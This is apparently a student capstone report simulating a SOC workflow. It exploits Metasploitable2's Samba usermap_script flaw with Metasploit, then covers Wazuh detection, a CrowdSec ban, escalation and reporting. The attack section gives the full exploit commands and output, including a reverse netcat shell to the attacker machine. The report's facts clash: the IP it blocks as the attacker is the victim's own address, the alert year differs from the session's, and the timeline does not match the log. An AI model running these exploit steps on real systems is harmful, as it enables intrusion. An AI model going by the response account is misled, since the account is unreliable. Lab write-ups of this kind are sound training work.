



Capstone Project: Full SOC Workflow Simulation

- **Objective**

- The objective of this capstone project was to simulate a real-world cybersecurity incident and perform a complete SOC workflow using industry-standard tools such as Metasploit, Wazuh, CrowdSec, and TheHive. The project focused on attack simulation, detection, incident response, containment, escalation, and documentation.

- **Tools Used**

1. Metasploit Framework
2. Wazuh SIEM
3. CrowdSec
4. TheHive
5. Metasploitable2
6. Kali Linux
7. Google Docs

- **Commands Used**

1. msfconsole
2. search usermap
3. use exploit/multi/samba/usermap_script
4. set RHOSTS 10.238.221.32
5. run

1. Attack Simulation

```
(root@kali) ~ [~/home/kali]
# msfconsole -q
msf > search usermap

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -                                     -              -   -   -
0  exploit/multi/samba/usermap_script      2007-05-14      excellent No      Samba "username map script" Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/samba/usermap_script

msf > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set rhost 10.22.132.32
rhost => 10.22.132.32
msf exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

Name      Current Setting  Required  Description
-  -  -  -  -
CHOST      no               no        The local client address
CPORT      no               no        The local client port
Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapn
RHOSTS     10.22.132.32    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      139              yes       The target port (TCP)
```



- The exploit successfully opened a command shell session and provided root-level access to the target system.

```
msf exploit(multi/samba/usermap_script) >
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.22.132.171:4444
[*] Command shell session 1 opened (10.22.132.171:4444 → 10.22.132.32:55169) at 2026-05-27 11:09:07 +0530

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:26:fa:d1
          inet addr:10.22.132.32  Bcast:10.22.132.255  Mask:255.255.255.0
          inet6 addr: 2401:4900:7c79:7a72:a00:27ff:fe26:fad1/64  Scope:Global
          inet6 addr: fe80::a00:27ff:fe26:fad1/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:64 errors:0 dropped:0 overruns:0 frame:0
          TX packets:84 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7075 (6.9 KB)  TX bytes:8514 (8.3 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:101 errors:0 dropped:0 overruns:0 frame:0
          TX packets:101 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:23573 (23.0 KB)  TX bytes:23573 (23.0 KB)
```

2. Detection and Triage

- The attack activity was monitored using Wazuh SIEM. The incident was categorized as a critical security event due to successful remote exploitation.

Timestamp	Source IP	Alert Description	MITRE Technique
2027-05-27 14:00	10.22.132.32	Samba exploit detected	T1210

3. Response and Containment

- Containment actions were performed by blocking the attacker IP address using firewall rules. The affected system was isolated to prevent further compromise.



```
(root@kali)-[/home/kali]
# sudo cscli decisions add --ip 10.22.132.32 --duration 24h --type ban
INFO[27-05-2026 14:57:53] Decision successfully added

(root@kali)-[/home/kali]
# sudo cscli decisions list
```

ID	Source	Scope:Value	Reason	Action	Country	AS	Events	expiration	Alert ID
3	cscli	Ip:10.22.132.32	manual 'ban' from '47b43d030aeb4fc68ac38de7a4820f23'	ban			1	23h59m51.790665584s	3

```
2 duplicated entries skipped

(root@kali)-[/home/kali]
# ping 10.22.132.32
PING 10.22.132.32 (10.22.132.32) 56(84) bytes of data.
^C
 10.22.132.32 ping statistics —
 6 packets transmitted, 0 received, 100% packet loss, time 18427ms

(root@kali)-[/home/kali]
#
```

- CrowdSec was used to simulate automated threat containment during the SOC workflow exercise. A malicious IP address (10.22.132.32) was added to the CrowdSec decision engine using the cscli decisions add command with a 24-hour ban policy. Due to firewall bouncer limitations in the Kali Linux environment, manual iptables rules were additionally applied to enforce packet blocking. Verification tests using ICMP ping demonstrated successful containment of the attacker system after firewall enforcement.

4. Escalation

Field	Value
Case ID	CASE-005
Severity	Critical
Status	Escalated
Technique	T1210
Analyst	Tier 1 SOC

• Escalation Summary

- A critical security incident was identified involving successful exploitation of the Samba usermap script vulnerability on the Metasploitable2 server. The attack originated from IP 10.22.132.32 and resulted in unauthorized root-level shell access on the target system. The activity matched MITRE ATT&CK technique T1210 (Exploitation of Remote Services). Initial containment actions included blocking the attacker IP address using firewall rules and isolating the affected system from further communication. Due to the successful compromise and elevated privileges obtained



by the attacker, the incident has been escalated from Tier 1 to Tier 2 SOC analysts for advanced investigation and remediation.

5. Reporting

- **Executive Summary**

A simulated cyberattack was performed against a vulnerable Metasploitable2 virtual machine using the Metasploit Framework. The Samba usermap script vulnerability was successfully exploited, resulting in unauthorized root shell access to the target system. The activity was detected during SOC monitoring and classified as a critical security incident.

- **Timeline**

Time	Event
14:00	Exploit launched
14:02	Root shell obtained
14:05	SOC alert generated
14:08	Incident triaged
14:10	Attacker IP blocked
14:15	Escalated to Tier 2

- **Recommendations**

- Disable vulnerable Samba services.
- Apply latest security patches.
- Restrict unnecessary remote services.
- Implement IDS/IPS monitoring.
- Perform continuous vulnerability assessments.
- Harden firewall configurations.

6. Briefing

- A cybersecurity incident was identified during a controlled security simulation involving unauthorized access to a test server. The attack exploited a known vulnerability in the server's file-sharing service and successfully gained administrative access. Security monitoring systems detected the activity, and



immediate containment actions were taken by blocking the attacking system and isolating the affected server. No production systems or sensitive organizational data were impacted because the activity occurred within a controlled lab environment. The incident was escalated for further investigation to improve organizational detection capabilities, strengthen defensive measures, and validate incident response procedures.

- **Key Learnings**

- Learned how attackers exploit vulnerable network services.
- Understood how SOC teams detect and investigate incidents.
- Gained practical experience with SIEM monitoring and alert triage.
- Learned how to map attacks using MITRE ATT&CK techniques.
- Understood incident escalation and response workflows.
- Learned containment methods such as firewall blocking and system isolation.
- Improved documentation and incident reporting skills.

- **Conclusion**

This capstone project successfully demonstrated a complete SOC workflow simulation involving attack execution, detection, investigation, response, escalation, and reporting. Practical exposure to tools such as Metasploit, Wazuh, CrowdSec, and TheHive provided valuable experience in handling cybersecurity incidents in a controlled environment.

The project highlighted the importance of proactive monitoring, timely alert triage, threat intelligence validation, proper containment measures, and structured incident escalation procedures. Overall, the exercise improved understanding of offensive and defensive cybersecurity operations and provided hands-on experience with real-world SOC activities.

- **References**

- [Metasploit Documentation](#)
- [Wazuh Documentation](#)
- [MITRE ATT&CK Framework](#)
- [CrowdSec Documentation](#)
- [TheHive Documentation](#)
- [Nmap Official Documentation](#)